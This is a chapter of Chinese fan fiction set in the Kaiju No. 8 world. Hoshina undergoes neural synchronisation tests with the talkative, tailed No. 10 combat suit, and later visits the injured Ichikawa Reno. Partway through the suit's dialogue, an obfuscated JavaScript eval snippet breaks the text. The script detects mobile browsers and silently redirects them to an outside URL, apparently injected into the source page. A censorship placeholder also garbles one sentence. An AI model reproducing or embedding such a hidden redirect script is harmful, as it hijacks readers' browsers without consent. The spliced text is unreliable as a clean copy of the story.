冰冷的实验台上,保科试图让自己的注意力集中在头顶的无影灯上,忽略皮肉与台面接触的冰凉,以及被整个实验组的人围观的不适应。 暮戈京矢走过来替他绑上固定锁:“防止你肌肉痉挛伤到自己,紧张吗?” 保科:“……不紧张。”他确实不算紧张,更多的是一种面对未知挑战前的、全神贯注的集中。 “哦,”暮戈京矢调整他身上接的电极线,“一点都不?” 保科:“还行吧。”他眨眨眼,灯光晃得他眼睛有些酸涩。 暮戈京矢伸手盖住他的眼睛,操作屏幕让他头顶那盏最刺眼的主灯微微偏转了角度,光线不再直射瞳孔:“前车之鉴,遮挡你视线可能会影响你的认知,不能戴眼罩——真不紧张?” 这就是一本正经的找茬了。 “好吧,是有一点点,” 保科无语极了,“怎么办呢?首席大人。” “我可以给你施个魔法。” “啊?”保科忍不住转头看向她的方向,睫毛细细密密划过她的手心,她收回手,下一刻,指尖灵活一翻,像变戏法一样,将一枚用彩色糖纸包裹的小方块亮在他眼前。 “看,”她宣布,“【能变出100日元波板糖的魔法】。” 保科愣了一下,还没反应过来,她已经利落地剥开糖纸,将里面那块半透明的、橙黄色的方块直接塞到了他的嘴里。 浓郁的橙子甜味瞬间在舌尖炸开,伴随着葡萄糖特有的、迅速被吸收的暖意,顺着血液流淌开来。不是波板糖,是高效补充能量的果味葡萄糖。 “作弊啊……”保科含着糖,含糊地抱怨,“别侮辱魔法了行吗?” 但经过她抽象的一出,他有些紧绷的神经确实松下来不少。 暮戈京矢笑笑,将揉皱的糖纸精准地弹进远处的回收口,返回监测台,这次声音是从内置耳麦里传来:“准备好了吗?” “G303作业,第一次同步测试,开始。” 低频的嗡鸣与仪器运行的冷光构成了主旋律,保科宗四郎平躺在实验台上,暗红色的十号战斗服已初步覆盖其躯干主要部分,生物神经接口正尝试与他的神经系统建立初级链接。 肉眼不可见的能量流在回路中奔涌,测试数据在周围的多块屏幕上疯狂滚动。 “神经脉冲过载,阈值135%……”一名研究员紧张地汇报。 这过程远比预想中漫长且不顺利。 最初的两小时,几乎是在无声的对抗中度过。战斗服如同拥有自己的意志,每一次脉冲都带着试探性的尖锐,保科额角渗出细密的冷汗,呼吸略微急促。跟他穿普通战斗服时完全不一样,10号战斗服内部传来的并非温和的引导,而更像是一种蛮横的、试图强行覆盖他自身意志的狂暴信号。他放在身侧的手不自觉地攥紧,指节因用力而发白。 暮戈京矢站在主控台前,绀青双眼迅速扫过跳动的数据,声音清晰而平稳地传入保科耳中的内置通讯器: “副队长,集中精神,引导它,别被它牵引。尝试将你的能量感知集中在左臂回路。” 保科依言尝试,将几乎要被撕扯分散的意识强行收束,专注于左臂那灼热而滞涩的能量路径。对抗带来的负荷极大,持续的紧绷消耗着他大量的体力与精力。 不知过了多久,保科几乎要完全失去时间观念,身上突然一轻,仪器暂时停了下来。 他轻轻呼出一口气,试图放松因首次适配测试而紧绷的肌肉。高强度神经同步带来的负荷远超预期,即使测试暂停,耳边仍残留着十号意识狂暴的嗡鸣,像有无数根细针扎在太阳穴上。 他训练有素的躯体在此时呈现出一种矛盾的状态——肌肉线条流畅而清晰,那是常年战斗留下的烙印,此刻却因力量的抽离而微微松懈,显出一种罕见的脆弱。冷白色的皮肤在实验室顶灯下泛着类似瓷器般的光泽,一层细密的冷汗覆于其上,勾勒出绷紧时不显的、柔和的生理轮廓。一滴汗珠正沿着他锁骨凹陷处的弧度,悄无声息地滑落,没入战斗服的阴影里。 “中场休息。”,暮戈京矢的声音又回到他身侧,语气不怎么好,想也知道这次测试比想象中艰难。 保科勉强睁开眼睛,眼压还没恢复,只能看见她模糊的轮廓。 “……咳。”他想扯出个笑容说句“还好”,却发现连动动嘴角都有些费力,一时间也说不出话来。 下一刻,他感到自己的后颈被一只微凉的手稳稳托起,力道恰到好处地让他的头部离开冰冷的台面几公分。 一个玻璃质感的边缘贴上他的唇沿。 “喝。”她言简意赅。 “……”此时人为刀俎,彼为鱼肉,保科没力气问她这是什么,只能顺从地张口。 温热的、带着恰到好处甜味的液体滑入喉咙。那不是单纯的糖水,似乎还掺了些许电解质和缓和神经的温和成分,滋润了他干涩发苦的口腔,也稍稍驱散了脑中的混沌。 他小口小口地吞咽着,视线逐渐清晰,能看见她低垂着眼眸,正专注地看着他,实验室顶灯的光线勾勒着她侧脸的线条,纤长的睫毛在下眼睑投下淡淡的阴影。 喂了他一杯糖水,暮戈撤开杯子,将他重新放回实验台。 “感觉如何?”她问,同时在本子上记录着什么。 “……活过来了。”保科的声音依旧有些沙哑,但那股沉重的疲惫感确实减轻了不少。他看向她,尝试着找回一点平日里的语调,“没想到,‘首席’还会亲自做这个。” 他手臂的肌肉线条在松弛与残余的紧绷间纤毫毕现,以暮戈京矢剖析过无数生物与机械结构的狠辣眼光来看,这具躯体在力学结构与生物美学的结合上,堪称艺术品的级别。 她意义不明哼了一声:“特别服务,感到荣幸吧。” 保科无声地笑了笑。 “滴滴”声响起,设备调试完毕,宣告短暂的休息时间结束。 当链接尝试进入更深阶段时,真正的风暴开始了。不再是试探,而是汹涌的、混沌的意识洪流,试图强行冲垮他的意志壁垒,将他的思维模式覆盖上最原始的破坏与战斗本能。 “神经脉冲过载,阈值135%……不,142%!稳定性参数正在下跌!”一名研究员的声音带着压抑不住的紧张。 暮戈京矢掐住手心,她已经连续下达了十七次参数微调指令,试图在狂暴的系统中找到一个稳定的平衡点,但收效甚微。 保科能感觉到,在这场拉锯战中,那混沌的冲击如同永不停歇的浪潮,一点点消磨他的意志,即将淹没他勉强维持的防线。 就在意识边缘开始模糊的刹那,专业人员提前教给他构筑防御的方法、迂回引导的方法,全都被他抛到一边,骨子里的不甘和叛逆猛地涌上心头——他还真就不信了! 他放弃跟随研究组的引导,凭本能将全部意志拧成一股尖锐的楔子,狠狠刺向入了那混沌洪流的中心! “嗡——!” 实验台上,暗红色的装甲发出一阵前所未有的剧烈震颤,紧接着,所有狂乱的信号仿佛被一只无形的手骤然扼住! “什么?!”研究员们因为保科突然改变策略的惊呼此起彼伏。 实验台上的人攥紧的手松开,仿佛放下了所有顾虑,整片意识如离弦之箭般迎向那片混沌。 屏幕上,那几条代表神经冲突的、疯狂跳动的曲线,在达到一个危险的峰值后,竟猛地回落,随后开始以一种虽然依旧波动、却明显趋于稳定的频率振荡! “了不起。” 暮戈京矢低声赞叹道,手上动作不停,无缝跟上保科反攻的变招,“所有人!抓住机会配合他!” “把神经缓冲剂浓度降至安全阈值下限,他现在需要的是敏锐度,不是舒适度。” 无数无形的线络顺着保科突破的一点攀延而上,最大的屏幕上,一条浅蓝的链接缓缓成型。 “同步率…同步率稳定在18%!初步链接建立成功了!”监测员的声音带着难以置信的惊喜。 测试场的嗡鸣彻底停歇,取而代之的是研究人员们压抑不住的欢呼和彼此击掌的清脆声响,紧绷了近七个小时的神经终于得以放松,控制室内洋溢着劫后余生般的喜悦。有人拥抱着同事,有人冲过来想为保科解除战斗服的固定锁,却被暮戈京矢一个抬手制止了。 “都别动他。”她的声音不高,自己走上前去,先是在保科腰侧装甲点了几下,伴随着几声轻微的气密阀释放声,暗红色的装甲应声解锁、收缩,然后才按顺序依次解开他身上的固定锁。 保科近乎叹息般呼出一口气,疲惫感如潮水般漫过他,每一寸肌肉都在发出抗议,然而,那双睁开的、深红色的眼眸中,闪烁着异常明亮的光芒,锐利、清澈,带着一种难以言喻的兴奋与满足。 暮戈京矢对上他眼中那尚未平息的、亮得惊人的光,脸上没什么表情,只是极轻地冲他挑了一下眉梢:“干的漂亮,副队长,你让我的魔法成真了。” ...... ...... 测试在中午前告一段落,初步同步率稳定在了一个不错的数值。研究人员们带着兴奋与疲惫散去用餐,实验室里一下子空荡安静下来。 保科宗四郎坐在休息区的长凳上,活动着有些发僵的肩膀,接过暮戈京矢递来的能量饮料,灌了一大口,长长舒了口气:“呼……比预想的还热闹点。” 暮戈京矢在他旁边坐下,顺手把记录板放在一边,语气带着完成一阶段工作的松弛:“下午好好休息,肌肉和神经都需要时间恢复。” 她话音刚落,保科就转过头,带着点刚缓过劲来的、湿漉漉的笑容说:“下午?下午我们不是约了完全装配测试吗?” 暮戈京矢正准备拧开自己那瓶水的手顿住了。她侧过头,绀青色的眼睛里带着明显的“你没事吧”的质疑,上下扫了他一眼:“你确定?”连她都默认他应该休息了。 “那只是热身嘛,”保科摆摆手,语气轻松,甚至带着点调侃,“跟上次我们玩的那24轮‘游戏’比起来,这才哪儿到哪儿。”他故意加重了“游戏”两个字,指的是之前那场把他折腾到近乎虚脱的神经耐受测试。 暮戈京矢挑眉,显然听懂了他的调侃。她没接话,只是看着他,似乎在评估他这副“轻松”底下还剩多少真实体力。 保科迎着她的目光,笑容不变,眼神却很亮:“真的,我感觉还行。而且你看,”他指了指自己,又指了指周围安静的设备,“气氛都到这儿了,不继续下去多可惜。” 暮戈京矢这下是真有点佩服他了,最终却只是摇了摇头,像是拿他没办法,又像是被他说服了。她重新拿起记录板,轻轻地在上面划了一笔: “行。一小时后。别到时候喊停。” 一小时后,更加沉重、覆盖了全身超过80%区域的十号战斗服完整地装配在保科身上。当所有接口完成最终接驳的瞬间—— 不再是模糊的敌意,而是一个清晰、带着独特“个性”的存在,蛮横地在他脑海里建立了链接。 【——哦?终于像点样子了。——】 10号的“声音”响起,比起它还是怪兽时的粗犷声线,这意念更像是直接烙印在思维里的信息。 几乎同时,保科感到后腰偏下的部位微微一沉,一条覆盖着暗红色生物装甲、灵活非凡的尾巴,如同拥有独立意识般,优雅而有力地在他身后舒展开来,尾尖在半空自发地绕了个小圈,带着点审视和炫耀的意味。 “呃!”保科身体瞬间僵住。这感觉太怪异了,多出一个从未有过的肢体,并且它能自主活动! “十号特异性生物尾部组件已上线,神经接驳良好。”暮戈的声音从耳机传来,“数据显示其拥有高度自主行动能力,相当于一个独立的生物神经节点。副队长,尝试感知并接纳它,就像接纳你新长出的手臂。” 说的简单......保科努力去适应这个存在感突然过强的“新肢体” 【——保科!对手在哪里!——】 10号意识在他脑子里发出一声战意盎然的叫喊, 【——为什么站着不动?我们去找谁打一架!——】 保科感受到了一阵眩晕和不适,这种直接生成在脑海里的“话语”,超出了正常人类接触过的任何一种获取信息方式,尤其是10号就算以怪兽的标准也算得上“聒噪”的情况下。 暮戈京矢:“保科,报告初始感官负载等级。” “感官负载……还行,”保科努力集中精神,过滤掉脑子里那个吵闹的“旁白”,“就是有点……吵。” “吵?”暮戈的声音带着一丝探究。 【——保科!你在说谁吵?——】 保科:“......它一直在我脑子里说话。” 【——你明明能听到!——】十号用更“大声”的方式在他意识里嚷嚷。 保科嘴角抽搐了一下,这种感觉,就像一个陌生人突然凑到你耳边用只有你们能听到的声音大声密谋,关键是你还躲不开。 暮戈京矢似乎早有预料:“我早就跟你说过它的生物活性很高,十号的自主意识是核心特性,展现出积极交流意愿有助于正向反馈,如果是冗余信息,你可以尝试……忽略它。” 忽略?保科内心苦笑。这玩意儿的存在感比在有明基地食堂里抢最后一块炸猪排的鸣海队长还强,怎么忽略? “现在,尝试激活左臂辅助动力模块,输出功率5%。” 保科集中精神,引导能量。 【——5%?太保守了!——】十号的意念带着强烈的“恨铁不成钢”,【——相信我,直接15%!让你感受一下什么叫真正的力量!——】 一股更汹涌的能量试图顺着他的引导路径冲出去,保科赶紧死死按住,额角青筋一跳:“不行!听首席的!” 【——啧,麻烦,又是这个女人——】十号的意念透出不满,保科一时间没注意到它对暮戈京矢的敌意,因为与此同时,他身后那条尾巴似乎也感受到了这份不满,猛地向上一扬,然后带着点小脾气“啪”地一下,轻轻抽打在保科自己的小腿肚上。不疼,但侮辱性极强! “喂!”保科忍不住在脑子里抗议,“你管好它!” 【——它不就是我?——】十号的意念理直气壮。 “......”保科感觉自己像个精神分裂的协调员,还得时刻提防着自己身体的“额外部分”。 暮戈:“步态协调性测试,基准频率1.2赫兹。” 十号:【——别听她的,太死板了!——感受地面的反馈,让你的身体自己找节奏!——对,就是这样!——嘿,学得挺快嘛!——】 保科感觉自己走路都快顺拐了,一边要维持标准频率,一边身体又被十号鼓动着要“自由发挥”。而那条尾巴,似乎完全认同它本体的看法,欢快地在保科身后左右摇摆,像个节拍器,打的却完全是另一套拍子。 暮戈:“能量回路稳定性监测,注意右腿肌腱群反馈。” 十号:【——哦?这里有点紧啊。——放松点,让我帮你疏通一下……——】 一股暖流,或者说,是十号控制的能量流,不由分说地涌向保科稍感酸胀的右腿肌腱,手法粗暴但异常有效,酸胀感瞬间缓解,但那种被“强制按摩”的感觉让保科头皮发麻。 “等等!你别乱动!”保科在脑子里喊道。 【——帮你还不领情?——】十号的意念委屈里带着理直气壮,【——我可是在帮你变得更强!——只有你才值得我这么费心! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756309|188811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——】 此时那条尾巴此刻竟悄悄绕到他身前,尾尖灵活地在他刚才感觉酸胀的右腿肌腱位置戳了戳,仿佛在确认“是这里吗?”,然后得意地晃了晃。 “!!!” 保科浑身汗毛都要竖起来了,“让它离我远点!” 【——它不就是我?——】十号再次重复,意念里甚至带着点戏谑,【——我们可是一体的,保科。——你看,它多喜欢你。——】 那根尾巴仿佛为了强调主人的话,亲昵地、带着点力道缠上了保科的腰,轻轻勒了一下才松开,活像大型犬在表达喜爱。 保科猛地闭嘴,决定非必要不再与这只犬科怪兽进行任何交流,专注在完成耳机中暮戈的指令上。 当保科按照暮戈指令进行高速移动规避测试时,尾巴在他身后如同灵活的舵,自发地调整角度,帮他维持极致速度下的平衡,甚至在他急转弯时,故意甩出一个漂亮的弧度,带起一阵微小的气旋。 【——怎么样?——比你们死板的平衡系统强多了吧?——】 当保科进行复杂地形攀越时,尾巴时而如钢钎般插入缝隙提供额外支点,时而如长鞭般卷住突起物,将他轻松拉上去。 【——瞧见没?——这才是完美的辅助肢体!——】 这还没完。在一次需要他全力挥拳攻击的间隙,尾巴甚至自发地、用一种与战斗氛围格格不入的轻柔,替他扫开了额前因汗水而粘住的一缕头发。 保科:“......”他感觉自己不是穿了一件战斗服,而是被一个能力超强但行为跳脱的“背后灵”给附体了。那种被另一个意识“贴心服务”的感觉,让他鸡皮疙瘩都快起来了,尴尬远大于感激。 尤其是,这份“服务”有时来的还不太是时候。 就在他按照暮戈的指令,再次尝试进行一组复杂的战术规避动作时,那股属于十号的、带着原始兴奋感的意念再次涌来: 【——对!就是这样!闪开!然后从那个角度——撕碎它!——】 随着这意念,保科猛地感觉到身后一沉!一股额外的、并非来自他自身的力量施加在了他的运动轨迹上。 “呜啊!” 他原本流畅的侧滑步被硬生生加了一个突兀的、近乎猛兽摆尾的拧身动作,重心瞬间失衡,差点一头栽进旁边的缓冲垫里。 “保科!报告情况!”暮戈的声音立刻响起,带着警觉。 保科狼狈地稳住身形,哭笑不得地指向自己身后:“它!是它动的手!” 只见那条连接在战斗服尾椎部位、暗红色的机械长尾,正如同拥有独立生命般,在他身后灵活地、慢悠悠地晃动着,尾尖甚至还得意地卷了个小圈,仿佛在为自己的“精彩助攻”点赞。 【——帮你调整角度而已。——】十号的意念毫无愧意,甚至带着点“你该谢谢我”的理所当然。 暮戈那边沉默了两秒,然后保科听到她似乎在对研究组下达指令:“……记录,编号十号生物组件表现出高度自主应激性及战术辅助倾向,与适配者主观意志存在协同与冲突双重可能。” “冲突!绝对是冲突!”保科在脑子里对着十号大喊,‘你别乱动!我自己能行!’ 【——你能行?——刚才那种软绵绵的躲避,连只苍蝇都拍不死!——】十号的意念嗤之以鼻。 “呼……”又一次被十号的意识干扰了能量引导,保科喘着气,忍不住对着空气,或者说,对着自己脑子里的那个声音吐槽:“你……能不能先闭嘴……让我按流程走完?” 【流程?可笑!力量需要什么流程!】十号的回应又快又急。 这种被一个意识在脑子里喋喋不休地“偏爱”,还被一条不受自己控制的尾巴各种“骚扰”的感觉,让保科产生了一种强烈的、隐私被全方位侵犯的不适感。不是疼痛,而是一种思维被入侵、身体自主权被分割的恶心和眩晕,注意力被撕扯得七零八落。 接下来的专注度维持测试,这条尾巴更是将“个人意志”发挥得淋漓尽致。 暮戈:“保持静默姿态,测试能量内敛性。” 保科屏息凝神,努力收敛全身能量波动。 那条尾巴却在他身后,如同无聊的猫尾巴尖,开始有一下没一下地、轻轻敲打着地面。 哒…哒…哒… 在寂静的实验室里,这声音格外清晰。 【——好无聊……——什么时候才能真刀真枪干一场?——】十号的抱怨顺着意念传来。 保科额头冒出黑线,在脑子里吼道:‘安静!收敛能量!尾巴也别动!’ 尾巴停顿了两秒。 然后,它换了一种方式表达无聊——尾巴尖开始慢悠悠地、绕着保科的脚踝画圈。 保科:“……” 他感觉自己的脚踝有点痒,注意力再次被分散。 暮戈显然也注意到了这顽皮的尾巴,她的声音带着一丝不易察觉的玩味:“看来你的‘新伙伴’有点多动症,副队长。尝试用你的意识安抚它,或者……命令它。” 保科尝试集中意志,向那条尾巴发出“安静”的指令。 尾巴尖顿了顿,然后……它缓缓地、竖直了起来,在保科身后灵活地弯成了一个大大的问号。 【——?——】十号的意念配合地传来一个清晰的疑问信号。 保科差点被这直观的“表情包”给气笑。这玩意儿还能这么用?! 测试在一种鸡飞狗跳的氛围中继续。每当保科需要高度集中精神进行精密操作时,那条尾巴总能在旁边自得其乐: 有时像节拍器一样跟着保科的心跳节奏摇摆; 有时突然竖起,如同警觉的天线; 有时又会趁保科不注意,悄悄卷起旁边桌子上一个无关的工具零件,被研究员无奈地取回…… 保科终于忍无可忍。 “暮戈……”他声音虚弱,有气无力地发出请求,一边说一边试图用眼神控诉那条在他视野角落里晃来晃去的调皮尾巴,“能不能……想想办法?比如给它,” 他指了指自己的面甲,又指了指身后,“还有它,装个静音按钮和遥控器?或者……教教它们什么叫‘个人空间’和‘肢体语言边界’?” 他痛苦地揉了揉太阳穴,“起码......别在我脑子里直接说话?我有点晕......有点......想吐......” 通讯器那头,暮戈京矢似乎停顿了一下。然后,保科清晰地听到她那边传来一声极轻的、几乎被掩饰的笑声,但她再开口时,又是公事公办的腔调: “认知与肢体协调干扰,是意识深度融合的常见副作用,副队长。”她观察着屏幕上尾巴的活动数据,“你需要适应的不只是力量,还有这位……‘新伙伴’及其延伸部分的……独特交流方式。把它当作一种需要破解的加密通讯,和一条需要……建立默契的额外工具。” 【——加密通讯?工具?——她说谁加密?!说谁是工具?!——我说话明明很清楚!它也很好用!——】十号的意念立刻暴躁地抗议起来,连带他身后的尾巴也“啪”地一声重重拍在地面上,以示不满。 保科:“……” 他感觉自己未来的战斗生涯,除了打怪兽,可能还要额外增加一项——学会如何优雅地屏蔽自己脑子里这位过于“投缘”且话密的“搭档”,以及如何驯服身后这条充满主见、还总爱刷存在感的尾巴。这完全装配测试,力量的提升是实实在在的,但这过程,简直是对他精神承受力和羞耻心的终极考验。 暮戈京矢看着屏幕上保科那明显透着生无可恋意味的生理数据和时而混乱时而挣扎的动作曲线,再听着他偶尔泄露出的、带着点崩溃的嘟囔,强压着嘴角在本子上记录下一行观察备注: 【初步判断:适配者与十号意识兼容性良好,但精神交互模式需进一步优化。当前主要矛盾集中于意识优先级争夺及信息过载问题。另,十号意识活跃度及‘表达欲’远超预期。】 25.行进的步音 实验终于告一段落,十号的意识从脑海中消失那一刻,保科感觉大脑都轻了。他跟着暮戈走出实验室,午后的阳光有些刺眼。 “消耗很大,想吃什么?”暮戈走在他前面半步,头也没回地问,语气里有淡淡的关心。 保科勉强扯出一个笑容,摇了摇头,关西腔都有些有气无力:“……暂时不用了,没什么胃口。”他实在没好意思说,那种直接在脑子里“听”到另一个意识吵嚷的感觉,让他有点反胃,现在看到食物都提不起兴趣。 他本以为暮戈会像往常一样,用数据告诉他这是正常反应,需要硬性适应。但她只是沉默地看了他一眼,然后从白大褂口袋里摸出两条用彩色糖纸包裹的东西,塞进他手里。 保科低头一看,是果味能量棒。他捏着那两条轻飘飘的“慰问品”,想起测试时那枚号称能变出波板糖的魔法葡萄糖块,下意识抬头,带着点难以言说的“幽怨”看向她。 ——首席,在你眼里,补充能量是不是就等于喂糖?他此刻需要的可能不是这个。 暮戈接收到他的视线,略微停顿了一下,似乎是思考了他这一眼的内涵,然后认真地补充了一句:“甜的。” 保科:“……” 他一时失去了解释的欲望,只能默默将能量棒揣进口袋。心里那点因为交流方式带来的烦躁和无奈,却奇异地被这股哭笑不得的情绪冲淡了些。 他原本已经做好了长期对抗这种不适的心理准备,毕竟适应异常状况是防卫队员的必修课。 而下一次踏入G303实验室时,保科一眼就瞥见战斗服胸口多了个幽蓝色圆形模块,活像镶了颗不怀好意的独眼。 “这是什么?”他指着那个模块问道,有种不祥的预感。 暮戈京矢头也不抬,笔尖在板上唰唰记录:“给你的‘伙伴’配个喇叭。省得它在你脑子里拆家。” 保科怔住,忽然意识到,她昨天不仅注意到了他的不适,而且立刻就找到了解决方案,并通宵达旦(他几乎能肯定)地将其实现了。 原来,他以为需要自己默默忍受的困难,在她这里,是被列为需要优先解决的"技术问题"。 当战斗服完成接驳的瞬间,一个低沉、带着砂石摩擦质感的声音猛地炸响,震得他耳膜发痒: “哈!能说话了!” 保科:“……” 他感觉自己额角的青筋跳了一下。 脑海里的“声音”确实消失了,那种被入侵、被塞满的恶心眩晕感也随之不见。但是! “喂,保科,” 十号的声音带着毫不掩饰的亢奋,“别听那女人的,我们待会儿假装失控,一拳打穿它怎么样?” 它指的是实验室尽头那堵半米厚的特制合金靶墙 “不怎么样!”保科想也不想地拒绝,“那是公共财产!很贵的!” “啧,没劲。” 十号不满地嘟囔,声音从保科胸口传出来,嗡嗡作响,传遍整个测试场,有几个年轻的研究员忍不住“扑哧”一声笑了出来。 保科毅然决然转向主控台方向,用他那带着黏糊糊尾音的关西腔抗议:“首席!这玩意儿能不能关掉!?它好吵啊!我感觉自己不是穿了件战斗服,是穿了件会说话的呱吉T恤!” 暮戈京矢从数据板后抬起头,双手交叠,摆出公事公办的严肃姿态: “不行。在你适应纯粹的意识交流之前,这种可听见的声波交流是目前的最优解。” “我会适应的啦!给我点时间!”保科试图挣扎,“这衣服真的吵死了!” “谁吵了!” 十号立刻在胸口反驳。 暮戈看着这一人一“衣”隔空吵嘴,终于没忍住,一丝极淡的笑意从眼底掠过,虽然脸上依旧没什么表情。她清了清嗓子,用一本正经、仿佛在宣读战略报告的语气说道: “保科副队长,这项设计具有重要的战略意义。” 保科和十号同时安静下来,看向她。 “当你的对手以为,语言交流就是你们协同的全部时,”暮戈半真半假地说,“真正的杀招,往往隐藏在无声的意识链接之中。这,便是出奇制胜的关键。” “……行吧。”保科勉强接受了这个说法,从战术欺骗的角度来看,确实有那么点道理。利用对手对“声音”的依赖,在关键时刻以无声的意念发动致命一击…… 主要是他知道,跟这位首席争辩,赢的从来不会是他。 测试在前所未有地吵闹氛围中开始了。 保科很快意识到暮戈可能给10号接入了一些基础语言库,因为现在的10号吵闹的内容明显丰富了很多。 当他完成一个标准的翻腰转体时 “这什么老年广播体操?” 十号嫌弃得要命,“保科我教你,腰要这么发力,腿要这么蹬,保证一个滑铲干翻所有靶子!” “我是防卫队员不是拆迁队!”保科死死稳住下盘。 “拆迁队怎么了?拆迁队也是凭本事吃饭!” 我们是精确制导,不是无差别爆破!”他咬着牙反驳,努力把差点被带歪的重心拉回标准姿势。 “精确?就这软绵绵的力道,给怪兽挠痒痒还差不多!” 十号的声音带着十足的鄙夷,“我算是看出来了,你们人类打架就是规矩太多!要我说,直接冲上去撕——” “停!”保科赶紧打断它可能即将冒出的限制级暴力描述,下意识瞥了一眼观察窗后的暮戈。她正低头记录着什么,但保科发誓看到她肩膀可疑地动了一下。 他深吸一口气,试图跟这位新晋话痨室友讲道理:“十号,战斗需要策略和配合,不是光靠蛮力。” “配合?行啊!” 十号立刻来了精神,“你让我来控制,我保证配合得完美无缺!先撞穿左边那堵墙,再利用反弹力扑向右边那个靶子,最后来个华丽的空中转体三周半——!” 随着它激昂的“战术讲解”,保科感觉自己的腰部肌肉不受控制地绷紧,仿佛真的要执行那个离谱的“拆迁计划”。 “暮戈!它是真要把这里拆了啊!” 暮戈抬起头,绀青色的眼眸扫过保科胸口那颗正闪着亢奋蓝光的“眼睛”,语气平淡地给出解决方案: “忽略无效建议,保科副队长。或者,”她顿了顿,说出一个让保科眼前一黑的方法,“用你的意志,说服它。” “听见没?她让我说服你!” 十号立刻抓住话柄,声音得意洋洋,“来吧保科,用实力说服我!按我的方法来一次,保证让你体验真正的力量!” 保科:“……” 更让他头疼的是,十号对暮戈的敌意几乎毫不掩饰。 每当暮戈开口下达指令,十号要么发出不满的哼声,要么就在保科脑子里(现在它学会了意识和声音双线操作)念叨 “她又想干嘛?”“这女人坏得很,别信她!”“保科,我们叛逃吧!” 保科感觉完全莫名其妙:“你能不能消停点!首席只是在工作!” “工作?保科,我跟你说,” 十号的声音突然压低,带着警告的意味,“离她远点,这女人很危险。上次她解析我的时候,那意识流……简直像用手术刀在我脑子里绣花!还是双面绣!” 保科:“……” 这都什么跟什么? 事实上,暮戈京矢当初在“井”下强行接驳、正面承受它精神冲击并反过来将它压制、解析的经历,给这个天不怕地不怕的战斗狂留下了极为深刻的烙印。它认可她的强大,但那种强大带来的不是征服欲,而是源自本能的排斥与警惕,而且它会被保科吸引,几乎注定了会敌视完全是保科相反面的暮戈京矢。 暮戈站在主控台后,面不改色地记录着这些充满敌意的发言,自觉没有跟编号怪兽打好关系的义务。 “保科!别发呆!” 十号还在嚷嚷,“下一项测试是什么?是打架吗?不是打架我就申请跳过!” 就在这时,保科私人终端的通讯提示音响起,暂时解救了他。暮戈在控制台后做了个暂停的手势。 保科松了口气,活动了一下被尾巴带得有些僵硬的肩颈,点开消息。是总部下达的临时指令,第四部队的六号适配遇到瓶颈,派他即刻前往第四部队,就编号兵器的部分技术问题进行短暂交流。 接到指令后,保科向暮戈简单说明情况,便独自乘机前往第四部队。十号战斗服被留在了立川基地进行数据分析和模块优化,机舱里难得的安静让他紧绷的神经稍稍松弛。 当他站在第四部队训练场的观察窗前时,市川莱诺正在装备六号战斗服的臂甲进行适应性训练。灰蓝色的生物组织紧紧贴合着少年的右臂,每一次发力都伴随着肌肉的剧烈震颤。 然而,就在监测仪器依旧显示各项数据在安全阈值内平稳波动时,保科深红色的瞳孔迅速地收缩了一下。 一种极其细微、近乎直觉的预警信号,顺着他被强化过的敏锐感知神经,骤然刺入他的意识——并非声音或图像,而是一种类似于生物本能对“断裂”与“崩塌”的预兆捕捉。他“感觉”到市川莱诺右肩胛深处的肌肉纤维正在承受远超极限的负荷,即将在下一秒彻底撕裂,连带引发关节的错位。 这预感来得如此突兀且精准,他甚至来不及出声提醒。 “呃啊——!” 几乎在他产生预感的同一时刻,市川莱诺闷哼一声,右肩处传来清晰的、令人牙酸的骨裂声,整个人瞬间脱力,单膝跪倒在地。 监测台此刻才爆发出刺耳的警报,医疗组蜂拥而上,紧急卸除臂甲。整个过程,市川莱诺紧咬着牙,未发一声哀嚎,只有剧烈收缩的瞳孔和淋漓的冷汗昭示着他承受的极限痛苦。 保科放在观察窗栏杆上的手无声地收紧,眉头紧锁。他亲身经历过十号带来的精神冲击和身体负荷,却从未想过,仅仅是部分武装的物理融合,竟能带来如此直接而残酷的□□摧残——肌肉撕裂,关节错位,甚至骨折。 ...... 医疗室内,消毒水的气味浓重。 市川莱诺躺在病床上,右臂打着厚重的固定支架,脸色苍白,但那双灰紫色的眼眸依旧清明,痛苦丝毫没能磨损他的倔强。 "保科副队长。"少年挣扎着想坐起。 "别动,好好休息。"保科快步上前,轻轻按住他完好的左肩,"感觉很糟糕吧。" 市川莱诺微微摇头,声音虚弱:“感觉……身体像是要被从内部撕碎,每一寸肌肉,每一根骨头,都在哀嚎。仅仅是手臂部分就如此……难以想象完整的战斗服会是怎样。” 他沉默了片刻,重新睁开眼,看向保科,眼神里带着探究和一丝敬意:“保科副队长,您所适配的十号……是迄今为止唯一确认拥有高度自主意识的编号怪兽。与它进行深度适配,精神层面的压力和风险,恐怕比我现在承受的物理负担……更加艰难吧?” 保科看着眼前这个即使身受重伤、依旧在冷静分析着力量本质的后辈,心中感慨。他想起了意识接驳的眩晕、十号在自己脑子里吵吵嚷嚷要打架、以及那种虽然别扭却确实存在的“伙伴”感觉。 ……那些经历固然辛苦,但与眼前这具几乎被物理力量撕碎的身体相比,似乎呈现出另一种维度的困难。他从未经历过如此惨烈的肌肉撕裂和骨折。 "每个编号怪兽都不同。"他最终温和地回答,"但坚持下去,你一定能征服它。" 面对刚经历过如此伤痛的少年说“坚持”,似乎是有点不近人情,保科知道这是一条怎样痛苦的道路,却没办法劝任何人,包括自己停下来,防卫队需要更多“意料之外的力量”,他们背后,是全日本的安危。 在这个笼罩在九号阴影下的夏天,他们必须前进,抓住一切可能,破釜沉舟,不计代价。 "当然。"市川莱诺眼中燃着执拗的火焰,那是同样追求力量的决心。 保科看着少年眼中燃烧的意志,仿佛看到了某种熟悉的影子。他拍了拍市川莱诺完好的左肩,没有再多说什么。 离开医疗室,保科在走廊遇见了第四部队的绪方队长。 "来看市川?"绪方队长神色凝重,"情况很不乐观。传统的适配方法对六号效果有限。" "确实比想象中...更艰难。"保科叹息道。 队长意味深长地看了他一眼:"听说暮戈首席在你那边的适配方法很不一样?" 保科:"是的,她采用了意识接驳和..." "她对你倒是挺上心的。"队长突然打断,语气带着几分长辈的调侃。 